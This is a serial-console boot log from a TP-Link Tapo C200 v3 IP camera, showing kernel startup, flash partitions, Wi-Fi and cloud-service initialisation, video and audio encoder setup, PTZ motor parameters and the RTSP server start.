[    0.133866] dwc2 dwc2: Core Release: 3.00a
[    0.138026] dwc2 dwc2: DesignWare USB2.0 High-Speed Host Controller
[    0.144372] dwc2 dwc2: new USB bus registered, assigned bus number 1
[    0.151243] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
[    0.158052] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=                                                                                                                                                                                                                                             1
[    0.165412] usb usb1: Manufacturer: Linux 3.10.14__isvp_swan_1.0__ dwc2-hcd
[    0.172452] usb usb1: SerialNumber: dwc2
[    0.176714] hub 1-0:1.0: USB hub found
[    0.180444] hub 1-0:1.0: 1 port detected
[    0.184612] dwc2 dwc2: DWC2 Host Initialized
[    0.189012] NET: Registered protocol family 2
[    0.193818] TCP established hash table entries: 512 (order: 0, 4096 bytes)
[    0.200792] TCP bind hash table entries: 512 (order: -1, 2048 bytes)
[    0.207169] TCP: Hash tables configured (established 512 bind 512)
[    0.213491] TCP: reno registered
[    0.216702] UDP hash table entries: 256 (order: 0, 4096 bytes)
[    0.222646] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[    0.229161] NET: Registered protocol family 1
[    0.233821] freq_udelay_jiffys[0].max_num = 10
[    0.238257] dwc2 dwc2: ID PIN CHANGED!
[    0.242124] cpufreq  udelay  loops_per_jiffy
[    0.246460] 12000     59724   59724
[    0.249726] 24000     119449  119449
[    0.253182] 60000     298622  298622
[    0.256613] 120000    597245  597245
[    0.260145] 200000    995409  995409
[    0.263684] 300000    1493114         1493114
[    0.267385] 600000    2986229         2986229
[    0.271100] 792000    3941822         3941822
[    0.274801] 1008000   5016864         5016864
[    0.278598] 1200000   5972458         5972458
[    0.286056] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[    0.292132] msgmni has been set to 80
[    0.296718] io scheduler noop registered
[    0.300641] io scheduler cfq registered (default)
[    0.307247] jz-uart.1: ttyS1 at MMIO 0x10031000 (irq = 58) is a uart1
[    0.314849] console [ttyS1] enabled, bootconsole disabled
[    0.314849] console [ttyS1] enabled, bootconsole disabled
[    0.326562] zram: Created 2 device(s) ...
[    0.330924] logger: created 256K log &#39;log_main&#39;
[    0.336042] jz SADC driver registeres over!
[    0.341568] jz TCU driver register completed
[    0.346266] the id code = 204017, the flash name is XM25QH64C
[    0.352428] JZ SFC Controller for SFC channel 0 driver register
[    0.358548] SLP flash nor read
[    0.361828] hdrA:1265664,B:1790464,C:2665984
[    0.366245] Searching for RedBoot partition table
[    0.371130] 10 RedBoot partitions found on MTD device jz_sfc
[    0.376978] Creating 10 MTD partitions on &quot;jz_sfc&quot;:
[    0.382044] 0x000000000000-0x00000002d800 : &quot;factory_boot&quot;
[    0.387714] mtd: partition &quot;factory_boot&quot; doesn&#39;t end on an erase block -- fo                                                                                                                                                                                                                                             rce read-only
[    0.396765] 0x00000002d800-0x000000030000 : &quot;factory_info&quot;
[    0.402480] mtd: partition &quot;factory_info&quot; doesn&#39;t start on an erase block bou                                                                                                                                                                                                                                             ndary -- force read-only
[    0.412456] 0x000000030000-0x000000040000 : &quot;art&quot;
[    0.417758] 0x000000040000-0x000000060000 : &quot;config&quot;
[    0.423394] 0x000000060000-0x000000080000 : &quot;normal_boot&quot;
[    0.429442] 0x000000080000-0x0000001b5200 : &quot;kernel&quot;
[    0.434667] mtd: partition &quot;kernel&quot; doesn&#39;t end on an erase block -- force re                                                                                                                                                                                                                                             ad-only
[    0.443147] 0x0000001b5200-0x000000440000 : &quot;rootfs&quot;
[    0.448284] mtd: partition &quot;rootfs&quot; doesn&#39;t start on an erase block boundary                                                                                                                                                                                                                                              -- force read-only
[    0.457770] 0x000000440000-0x0000007ffe00 : &quot;rootfs_data&quot;
[    0.463390] mtd: partition &quot;rootfs_data&quot; doesn&#39;t end on an erase block -- for                                                                                                                                                                                                                                             ce read-only
[    0.472330] 0x0000007ffe00-0x000000800000 : &quot;verify&quot;
[    0.477468] mtd: partition &quot;verify&quot; doesn&#39;t start on an erase block boundary                                                                                                                                                                                                                                              -- force read-only
[    0.486953] 0x000000080000-0x000000800000 : &quot;firmware&quot;
[    0.492749] SPI NOR MTD LOAD OK
[    0.496047] tun: Universal TUN/TAP device driver, 1.6
[    0.501306] tun: (C) 1999-2004 Max Krasnyansky &lt;maxk@qualcomm.com&gt;
[    0.507871] usbcore: registered new interface driver asix
[    0.513589] usbcore: registered new interface driver ax88179_178a
[    0.519912] usbcore: registered new interface driver cdc_ether
[    0.526012] usbcore: registered new interface driver net1080
[    0.531928] usbcore: registered new interface driver cdc_subset
[    0.538072] usbcore: registered new interface driver zaurus
[    0.543912] usbcore: registered new interface driver cdc_ncm
[    0.550175] usbcore: registered new interface driver usbhid
[    0.555983] usbhid: USB HID core driver
[    0.560075] Registered character driver slp_flash_chrdev
[    0.565586] SLP flash cdev init!  jz_sfc
[    0.569638] TCP: cubic registered
[    0.573274] NET: Registered protocol family 17
[    0.578422] /home/jenkins/tapo/c200v3_testing/slp-sp-target-src/ingenict31/li                                                                                                                                                                                                                                             nux-3.10.14/drivers/rtc/hctosys.c: unable to open rtc device (rtc0)
[    0.596490] VFS: Mounted root (squashfs filesystem) readonly on device 31:6.
[    0.607226] devtmpfs: mounted
[    0.610809] Freeing unused kernel memory: 220K (803a9000 - 803e0000)
[    0.710764] usb 1-1: new high-speed USB device number 2 using dwc2
[    0.931278] usb 1-1: New USB device found, idVendor=0bda, idProduct=f179
[    0.938211] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[    0.953251] usb 1-1: SerialNumber: 202351469B6F
- preinit -
mounting rwroot
- init -
[    1.891510] jzmmc_v1.2 jzmmc_v1.2.0: vmmc regulator missing
[    1.931715] jzmmc_v1.2 jzmmc_v1.2.0: register success!

Please press Enter to activate this console. [    2.117324] zram0: detected capa                                                                                                                                                                                                                                             city change from 0 to 16777216
Setting up swapspace version 1, size = 16773120 bytes
UUID=fa0d966e-b93b-4629-baac-a[    2.129872] Adding 16380k swap on /dev/zram0.                                                                                                                                                                                                                                               Priority:-1 extents:1 across:16380k SS
df28655b19b
Tue Nov 21 11:57:03 GMT 2023
reset_gpio = 62
===insmod /lib/modules/3.10.14/k_hi_reset.ko===
[    4.555367] Success to init gpio reset
led_green_gpio = 42
led_red_gpio = 43
led_green_active_low = 0
led_red_active_low = 0
===insmod /lib/modules/3.10.14/gpio_leds.ko===
Command failed: Unknown error
Starting wlan-manager: wlan-manager started.
find usb device ok
wlan-manager: driver is not ready, wait...
[    5.346729] start write config partition...partition_offset is 0x40000,addrSt                                                                                                                                                                                                                                             art is 0x40000
[    5.721242] ..done
[    6.127540] usb 1-1: USB disconnect, device number 2
wlan-manager: driver is not ready, wait...
[Debug] [setLedEvent:429] setLedEvent = 3
[Debug] [main:577] gLastLedEvent = 1, gCurrLedEvent = 3
---WLAN---release ip
[Debug] [setLedEvent:429] setLedEvent = 3
[Debug] [main:577] gLastLedEvent = 3, gCurrLedEvent = 3
[Debug] [main:617] The event is the same, don&#39;t do everything
[    7.212539] wlan-manager: insmod 8188fu.ko...
wlan-manager: driver is not ready, wait...
[    7.510773] usb 1-1: new high-speed USB device number 3 using dwc2
[    7.595698] usbcore: registered new interface driver rtl8188fu
[    7.731655] usb 1-1: New USB device found, idVendor=0bda, idProduct=f179
[    7.738587] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[    7.752216] usb 1-1: SerialNumber: 202351469B6F
wlan-manager: driver is not ready, wait...
[    8.697310] wlan-manager: start sta...
[    8.701828] wlan-manager: ifconfig wlan0 up.
[    9.284639] device wlan0 entered promiscuous mode
[    9.289591] br-wan: port 1(wlan0) entered forwarding state
[    9.295329] br-wan: port 1(wlan0) entered forwarding state
[Debug] [setLedEvent:429] setLedEvent = 3
[Debug] [main:577] gLastLedEvent = 3, gCurrLedEvent = 3
[Debug] [main:617] The event is the same, don&#39;t do everything
[   10.912300] br-wan: port 1(wlan0) entered disabled state
[   11.048794] wlan-manager: start sta...
[   11.059885] wlan-manager: ifconfig wlan0 up.
[   13.170455] br-wan: port 1(wlan0) entered forwarding state
[   13.176183] br-wan: port 1(wlan0) entered forwarding state
---WLAN---renew ip
[Debug] [setLedEvent:429] setLedEvent = 4
[Debug] [main:577] gLastLedEvent = 3, gCurrLedEvent = 4
---WLAN---send event connected_cloudnotok
[Debug] [setLedEvent:429] setLedEvent = 5
[Debug] [main:577] gLastLedEvent = 4, gCurrLedEvent = 5
[   15.170678] br-wan: port 1(wlan0) entered forwarding state
[2023-11-21 11:57:16][ERROR][cloud-service] read_value_from_uci_option(352): error: failed to load package.

[2023-11-21 11:57:16][ERROR][cloud-service] init_server_info(109): READ SVR FRO CONFIG ERROR

[2023-11-21 11:57:16][MAJOR][cloudiot]iot_base.c:233(run_once)-- cloud-iot start, pid: [995]

generate key: 3600days 2048bits
[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(644): dev_type:    SMART.IPCAMERA

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(645): dev_model:    C200

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(646): dev_alias:   Tapo_C200_9B6F

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(649): dev_mac:     202351469B6F

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(651): zoneid:      Asia/Seoul

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(652): dev_name:    C200

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(653): hw_ver:      3.0

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(654): fw_ver:      1.3.11 Build 231121 Rel.39454n(4B52)

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(656): oem_id:      F332B09F188E77B56426392039050499

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(659): device_bind_status: 1

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(660): msg_push_switch: 1

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(662): bindCode:        TA009C2809C38DB8418D846D497316D01332

[2023-11-21 11:57:17][INFO][cloud-service] init_config_info(663): deviceSecret:

[2023-11-21 11:57:17][ERROR][cloud-service] read_value_from_uci_option(366): error: failed to get cloud_config:bind:bindToken.

[2023-11-21 11:57:17][ERROR][cloudiot]ubus.c:304(get_validate_token)-- mqtt not establish, get validate deviceToken failed.

[   18.212995] start write config partition...partition_offset is 0x40000,addrStart is 0x40000
[   18.688357] ..done
---WLAN---send event connected_cloudnotok
[Debug] [setLedEvent:429] setLedEvent = 5
[Debug] [main:577] gLastLedEvent = 5, gCurrLedEvent = 5
[Debug] [main:617] The event is the same, don&#39;t do everything
sh: write error: Invalid argument
/etc/sc2336-t31-YT10137.bin not exists, use /tmp/sc2336-t31-YT10137.bin
======================INSMOD jz drivers=====================
======================INSMOD audio.ko=====================
[   20.740884] jz_codec_register: probe() successful!
         [storage] create_and_init_shm(134). creating initial shm...
         [storage] create_and_init_shm(137). shm creating succeeded, id: 32769, len:16960
         [storage] create_and_init_shm(148). shm mapped @0x773bc000.
         [storage] create_and_init_sem(175). creating initial sem...
umount: can&#39;t umount /tmp/mnt/harddisk_1: No such file or directory
         [storage] formatted_exec(70). system function error :No such file or directory

         [storage] do_umount(215). No such file or directory
ubus4dbg_startTask
ubus4dbg_taskloop ubus_add_object ok
Invalid sdcard device /dev/mmcblk0, please check configuration.
         [storage] formatted_exec(70). system function error :No such file or directory

         [storage] uci_load_single_disk(532). mounting disk 1 failed
[   21.150954] dma dma0chan24: Channel 24 have been requested.(phy id 7,type 0x06 desc a150c000)
[   21.160234] dma dma0chan25: Channel 25 have been requested.(phy id 6,type 0x06 desc a16ba000)
[   21.169734] dma dma0chan26: Channel 26 have been requested.(phy id 5,type 0x04 desc a280f000)
======================INSMOD tx-isp-t31.ko=====================
[   21.351344] @@@@ tx-isp-probe ok(version HTP20220823a), compiler date=Aug 23 2022 @@@@@
======================INSMOD sensor_sc2336_t31.ko=====================
======================INSMOD avpu.ko=====================
======================INSMOD done=====================
[2023-11-21 11:57:22][ERROR][cloud-service] validate_token_thread(356): ubus_process_validate: waiting 10 seconds and trying 1 times.

         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

ifconfig: eth0: error fetching interface information: Device not found
/etc/rc.common: line 25: msglog1: not found
[2023-11-21 11:57:23] nvid.c:main:150 - nvid started
[2023-11-21 11:57:23] nvid.c:main:172 - signal_handler succeed
[2023-11-21 11:57:23] nvid.c:main:193 - begin start onvif
[reload_timing_reboot_cfg]-271: random value: 1795s

[2023-11-21 11:57:23] nvid.c:main:200 - start onvif succeed
[2023-11-21 11:57:23] nvid.c:main:214 - begin uloop run
         [telemetry] telemetry_load_config(194): uci_get_value startegyId error
openapid | 2023-11-21 11:57:23.755 | openapi.c:1595 | openapi startup !
         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

openapid | 2023-11-21 11:57:23.759 | third/src/https_server.c:1738 | .............................https_connection_new fd:-1
openapid | 2023-11-21 11:57:23.759 | third/src/https_server.c:1348 | tofree:0, local_count :0
openapid | 2023-11-21 11:57:23.759 | third/src/https_server.c:1264 | tofree:0, local_count :0
openapid | 2023-11-21 11:57:23.760 | third/src/https_server.c:1910 | https_server_new OK
openapid | 2023-11-21 11:57:23.760 | openapi.c:1510 | HTTPS OPENAPI Server inited
openapid | 2023-11-21 11:57:23.760 | openapi_ubus.c:212 | ubus uloop thread started.
openapid | 2023-11-21 11:57:23.768 | openapi_ubus.c:170 | Connecting to ubus...
openapid | 2023-11-21 11:57:23.769 | openapi_ubus.c:177 | connect to ubus success
[VENC]Cmos_LoadVENCPara [/tmp/video_cfg.ini] Success.
(ST_Sys_Init 29)exec function pass
[   24.331293] -----sc2336_detect: 581 ret = 0, v = 0xcb
[   24.337165] -----sc2336_detect: 589 ret = 0, v = 0x3a
[   24.342679] sc2336 chip found @ 0x30 (i2c0)
[   24.347005] sensor driver version H20210805a
[2025-02-13 23:52:32][WARN][cloudiot]socket_fd.c:498(socket_dns_request_timeout)-- host: security.iot.i.tplinknbu.com, DNS timeout

         [telemetry] post_handle_error_code(325): no strategy, use default strategy
(ST_Sys_Init 31)exec function pass
[   24.640866] sc2336 stream on
         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

(ST_Sys_Init 33)exec function pass
---- FPGA board is ready ----
  Board UID : 30AB6E51
  Board HW ID : 72000460
  Board rev.  : 5DE5A975
  Board date  : 20190326
-----------------------------
(ST_Sys_Init 35)exec function pass
(ST_Sys_Init 38)exec function pass
[DBG]:ST_Sys_Init[50]: ImpSystemInit success
(tp_video_init 610)exec function pass
(ST_FrameSource_Init 78)exec function pass
(ST_FrameSource_Init 80)exec function pass
(start_algo_chn 256)exec function pass
[ST_FrameSource_Enable 169]exec function pass
(start_algo_chn 258)exec function pass
[ST_FrameSource_SetDepth 197]exec function pass
(start_algo_chn 260)exec function pass
(tp_video_init 616)exec function pass
(tp_video_init 621)exec function pass
stream 0, w is 1280, h is 720
(ST_FrameSource_Init 78)exec function pass
(ST_FrameSource_Init 80)exec function pass
(tp_video_start 906)exec function pass
bit_rate = 768 at last
[ST_Venc_CreateGroup 183]exec function pass
(tp_video_start 922)exec function pass
[ST_Venc_CreateChannel 125]exec function pass
!! The specified ScalingList is not allowed; it will be adjusted!!
[ST_Venc_CreateChannel 127]exec function pass
(tp_video_start 1063)exec function pass
[ST_Venc_RegisterChannel 141]exec function pass
(tp_video_start 1065)exec function pass
iIPDelta 4294967295, iMaxQP 51, iMinQP 25
pRCParam-&gt;pMaxPictureSize[0]=1536000, pCodecEncode-&gt;m_SrcBufPoolConfig.zBufSize * 8 / 1.2=1024000
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1130)exec function pass
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1140)exec function pass
[ST_FrameSource_Enable 169]exec function pass
(tp_video_start 1143)exec function pass
[ST_Venc_StartChannel 155]exec function pass
(tp_video_start 1145)exec function pass
stream 1, w is 640, h is 360
(ST_FrameSource_Init 78)exec function pass
(ST_FrameSource_Init 80)exec function pass
(tp_video_start 906)exec function pass
bit_rate = 400 at last
[ST_Venc_CreateGroup 183]exec function pass
(tp_video_start 922)exec function pass
[ST_Venc_CreateChannel 125]exec function pass
!! The specified ScalingList is not allowed; it will be adjusted!!
[ST_Venc_CreateChannel 127]exec function pass
(tp_video_start 1063)exec function pass
[ST_Venc_RegisterChannel 141]exec function pass
(tp_video_start 1065)exec function pass
iIPDelta 0, iMaxQP 44, iMinQP 30
pRCParam-&gt;pMaxPictureSize[0]=800000, pCodecEncode-&gt;m_SrcBufPoolConfig.zBufSize * 8 / 1.2=533000
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1084)exec function pass
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1094)exec function pass
[ST_FrameSource_Enable 169]exec function pass
(tp_video_start 1143)exec function pass
[ST_Venc_StartChannel 155]exec function pass
(tp_video_start 1145)exec function pass
stream 2, w is 640, h is 360
(ST_FrameSource_Init 78)exec function pass
(ST_FrameSource_Init 80)exec function pass
(tp_video_start 906)exec function pass
bit_rate = 1024 at last
[ST_Venc_CreateGroup 183]exec function pass
(tp_video_start 922)exec function pass
[ST_Venc_CreateChannel 125]exec function pass
[ST_Venc_CreateChannel 127]exec function pass
(tp_video_start 1063)exec function pass
[ST_Venc_RegisterChannel 141]exec function pass
(tp_video_start 1065)exec function pass
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1107)exec function pass
(ST_Sys_Bind 94)exec function pass
(tp_video_start 1117)exec function pass
[ST_FrameSource_Enable 169]exec function pass
(tp_video_start 1143)exec function pass
[ST_Venc_StartChannel 155]exec function pass
(tp_video_start 1145)exec function pass
video_init done
[2025-02-13 23:52:32][ERROR][cet][buffer_pool_alloc]-210: buffer audio queue id.

uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionentrance_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionexiting_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package loitering_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package gathering_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package fastmoving_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package parking_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package unattendedbaggage_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package objectremove_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package audioexception_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package defocus_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package scenechange_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package alarm_input faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package overline_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:217 (read_linkage_config) get info section failed
uci_api.c:217 (read_linkage_config) get info section failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package abandonandtaken_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:217 (read_linkage_config) get info section failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_group faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package face_gallery faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionentrance_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionentrance_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionexiting_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package regionexiting_detection faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package  faild
uci_api.c:173 (read_linkage_config) get config package failed
uci_api.c:59 (get_config_package) uci load package parking_occupy faild
uci_api.c:173 (read_linkage_config) get config package failed
[2025-02-13 23:52:33][INFO][cet][cet_ubus_register_methods]-8911: policy = 0x7766a1e8, n_policy = 3

[2025-02-13 23:52:33][INFO][cet][cet_ubus_register_methods]-8911: policy = 0x7766a200, n_policy = 1

[2025-02-13 23:52:33][INFO][cet][cet_ubus_register_methods]-8911: policy = 0x7766a208, n_policy = 4

         [storage] init_stm_files_structure(144). sizeof(struct stm_file) = 72
         [storage] open_shm(305). exit open shm(shmprt:0x6a22f000  shmlen:16960  flag = 0x1b6).
         [storage] open_sem(333). exit open sem(semid:32769, flag:0x1b4).
         [storage] data_sync_handle_thread(226). register signal handler on thread:0x6a22e4f0
[record_create]-5662: The adjusting time is: 1739458353
[2025-02-13 23:52:33][INFO][cet][reload_audio_record_cfg]-967: ENABLE record and clips audio!
[2025-02-13 23:52:33][ERROR][cet][bq_register_record]-525: bq_register_record chn: 0, stream_t: 0, tid: 1772283120

         [storage] stm_open(1940). [0] stm_fd is allocated. channel = 0, type = video, flags = 0x1, mode = 0x1
[record_stop]-3804: Record stop time is: 1739458353
         [storage] detection_index_new(1851). mkdir /tmp/mnt/harddisk_1/snapshot/ failed

         [storage] g_index_total_get(1827). detection_index_new error:No such file or directory

         [storage] detection_handle_end(974). arg NULL

         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

[2025-02-13 23:52:34][INFO][cet][input_h264_ch0_device_init]-511: Init H264 video device H264-ch0
[2025-02-13 23:52:34][INFO][cet][input_h264_ch1_device_init]-561: Init H264 video device H264-ch1
[AUDIO]Cmos_LoadAUDIOPara [/tmp/audio_cfg.ini] Success.
[cry_detect_intf_init 169] libbcd Version: 1.0.0.112-63d9611-c200v3-rel
cry_detect_intf_init success
[2025-02-13 23:52:34][INFO][cet][tp_audio_start]-444: tp_audio_start .....

[2025-02-13 23:52:34][ERROR][cet][audio_trans_volume]-179: The audio before transform volume percent is 100

sampleRate: 8000  bitWidth: 16  soundMode: 1  volume: 62  ptNumPerFrm: 480
[audio_ai_init 303]exec function pass
[2025-02-13 23:52:34][WARN][cloudiot]mqtt_client.c:747(mqtt_client_fd_handler)-- socket closed by peer

[2025-02-13 23:52:34][ERROR][cloudiot]cloud_iot_ipc.c:1405(cloud_mqtt_message_handler)-- iot cloud restart, event type:[4]

[   26.850775] codec_set_device: set device: MIC...
[audio_ai_init 324]exec function pass
[audio_ai_init 326]exec function pass
[audio_ai_init 328]exec function pass
[audio_ai_init 330]exec function pass
[audio_enable_NR 148]exec function pass
IMP_AI_EnableNs res = 0
tp_NSlib_load L:40 error occured.
[2025-02-13 23:52:35][ERROR][cet][tp_audio_start]-487: Fail to init tp_NS handle
input_sound_device_init done
[2025-02-13 23:52:35][ERROR][cet][dn_switch_start]-615: isp_file_prepare=TRUE
IR:IR_LED_CTRL_GPIO_ACTIVE_LOW 0 failed
IR:WL_LED_PWM_CTRL_PORT 0 failed
[INI]Cmos_LoadINIPara [/tmp/isp_cfg.ini] Success.
===================== ir_led_gpio_port 49
===================== ir_cut_gpio_port 52
===================== ir_cut_double_gpio_ports.gpios[0] 57
===================== ir_cut_double_gpio_ports.gpios[1] 58
[ISP]MR_ENABLE=TRUE, Setting init mirror and rotate
[tp_isp_sdk_set_mirror_mode_init(1314)] hEnable = 0, vEnable = 0
[2025-02-13 23:52:35][ERROR][cet][dn_switch_start]-625: ---------------tp_isp_init success---------------
[2025-02-13 23:52:35][ERROR][cet][dn_switch_start]-663: NOT is_stain_test_needed. Load isp para.
=======IR CHANGED=========
Before dn_switch GPIO setting, ircut_gpio_port is 52, ircut_active_low is 1, irled_gpio_port is 49, irled_active_low is 0
[ISP]set ir on and ircut to night
=======IR CHANGED=========
Before dn_switch GPIO setting, ircut_gpio_port is 52, ircut_active_low is 1, irled_gpio_port is 49, irled_active_low is 0
         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

ingenic wtd timeout is set to 60 sec
[sys_uci_get_val]-161: uci_lookup_ptr error: No Complete

[sys_uci_get_val]-161: uci_lookup_ptr error: No Complete

[ISP]set ir off and ircut to day
[ISP] Set infrared_lamp related isp parameters, [iq mode and load bin]
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start]-673: Initialize dn switch threads.
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start_thread]-6916: dn_switch_start_auto_thread created
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start_thread]-6923: dn_switch_start_sched_thread created
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start_thread]-6931: dn_switch_start_constant_thread created
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start_thread]-6940: dn_switch_start_thread OK
[2025-02-13 23:52:36][ERROR][cet][dn_switch_start]-682: Set irled and ircut to OFF(DAY) while initializing.
dn switch start success
x_motor_max_speed = 440
x_motor_direction = 1
x_motor_forward_direction = -1
x_motor_model = &quot;24BYJ48_64&quot;
x_motor_start_angle = 0
x_motor_end_angle = 340
x_motor_phy_start_angle = 0
x_motor_phy_end_angle = 340
x_motor_construct_master_teeth = 1
x_motor_construct_slave_teeth = 1
y_motor_max_speed = 440
y_motor_direction = -1
y_motor_forward_direction = -1
y_motor_model = &quot;24BYJ48_64&quot;
y_motor_start_angle = -15
y_motor_end_angle = 55
y_motor_phy_start_angle = -15
y_motor_phy_end_angle = 55
y_motor_construct_master_teeth = 1
y_motor_construct_slave_teeth = 1
x_motor_gpio_a = 39
x_motor_gpio_b = 45
x_motor_gpio_c = 46
x_motor_gpio_d = 40
y_motor_gpio_a = 41
y_motor_gpio_b = 47
y_motor_gpio_c = 48
y_motor_gpio_d = 38
         [storage] update_disk_status_for_cet(308). ubus_lookup_id update_disk_status failed

===insmod /lib/modules/3.10.14/motor_driver.ko===
[   29.565383] Registered character driver x-motor
[   29.571347] Registered character driver y-motor
[   29.607433] PTZ: auto calibrate on boot[2025-02-13 23:52:37][INFO][cet][download_thread]-879: cet module [playback] download thread started!
RTPSERVEREXECUTOR Thread Start
RTSP: start to send data via RTP Server
Start RTSP Server on port 554
[Media Source]: query form uci, audio_config.microphone.encode_type = G711alaw
[Media Source]: query form uci, audio_config.microphone.sampling_rate = 8
[Media Source]: query form uci, audio_config.microphone.encode_type = G711alaw
[Media Source]: query form uci, network.wan.macaddr = 20:23:51:46:9B:6F
[Media Source]: StartInputThread with id 1637000432, register to bq with id 2
bufq[2]: empty sig list. create one. The first thread id is 1637000432
[Media Source]: Create thread succeed.
[Media Source]: query form uci, multicast.main.enabled = off
[Media Source]: query form uci, multicast.main.address = 224.0.1.0
[Media Source]: ExecuteAudioDataInputqueue 2 pBqEntity 0x63a292ec pESBuffer 0x63a249b0 iCodec 210
[Media Source]: query form uci, audio_config.microphone.sampling_rate = 8
Update Audio Mediainfo iCodec 210
[Media Source]: query form uci, audio_config.microphone.sampling_rate = 8
[Media Source]: query form uci, multicast.main.random = on
[Media Source]: query form uci, multicast.main.port = 10000
[Media Source]: query form uci, video.main.resolution = 1280*720
[2025-02-13 23:52:37] start_smart_detection:868 - TPSDSetAttr--TP_SD_ATTR_IPC_TYPE TP_INDOOR.
[Media Source]: query form uci, video.main.encode_type = H264
[Media Source]: query form uci, network.wan.macaddr = 20:23:51:46:9B:6F
[Media Source]: StartInputThread with id 1620223216, register to bq with id 0
bufq[0]: empty sig list. create one. The first thread id is 1620223216
[Media Source]: Create thread succeed.
[Media Source]: query form uci, multicast.minor.enabled = off
[Media Source]: query form uci, multicast.minor.address = 224.0.1.0
[2025-02-13 23:52:37] check_enhance_event_num:262 - check_enhance_event_num SUCCESS(10 &gt;= 6).
[DEBUG] 1739458357:813771 pCommonContext-&gt;ucIPCType is set to : 1
[Media Source]: ExecuteVideoDataInput queue 0 pBqEntity 0x63a29a1c pESBuffer 0x63a27a40 iCodec 100
[Media Source]: MediaInfo update, iCodec 100 and iNaluType 7
[Media Source]: MediaInfo update, iCodec 100 and iNaluType 8
0 Update SPS/PPS/VPS media info iCodec 100
